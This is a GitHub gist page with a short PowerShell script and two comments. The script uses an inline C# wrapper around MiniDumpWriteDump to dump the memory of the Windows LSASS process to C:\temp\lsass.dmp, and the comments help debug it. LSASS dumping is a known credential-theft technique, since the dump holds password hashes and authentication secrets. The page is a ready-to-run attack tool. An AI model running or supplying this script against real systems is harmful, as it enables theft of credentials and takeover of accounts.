Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace ProcDump {
public static class DbgHelp {
[DllImport("Dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
}
"@
If (-Not "ProcDump" -as [Type]) {
Add-Type -TypeDefinition $Source
}
$Process = [System.Diagnostics.Process]::GetProcessesByName("lsass")
$DumpPath = "C:\temp\$($Process.Name).dmp"
$DumpStream = [System.IO.FileStream]::new($DumpPath, [System.IO.FileMode]::Create)
$DumpType = [IntPtr]::new(2)
$Dump = [ProcDump.DbgHelp]::MiniDumpWriteDump($Process.Handle, $Process.Id, $DumpStream.Handle, $DumpType, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$DumpStream.Dispose()
@xsuperbug

This comment has been minimized.

Copy link

xsuperbug commented Dec 3, 2019

Hi, I tested it on Win10 x64 but I got an error like

Unable to find type [ProcDump.DbgHelp].
At C:\procdump.ps1:22 char:9
+ $Dump = [ProcDump.DbgHelp]::MiniDumpWriteDump($Process.Handle, $Proce ...
+         ~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (ProcDump.DbgHelp:TypeName) [], RuntimeException
    + FullyQualifiedErrorId : TypeNotFound
@dmaasland

This comment has been minimized.

Copy link
Owner Author

dmaasland commented May 27, 2020

Remove the "If" surrounding line 14 :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.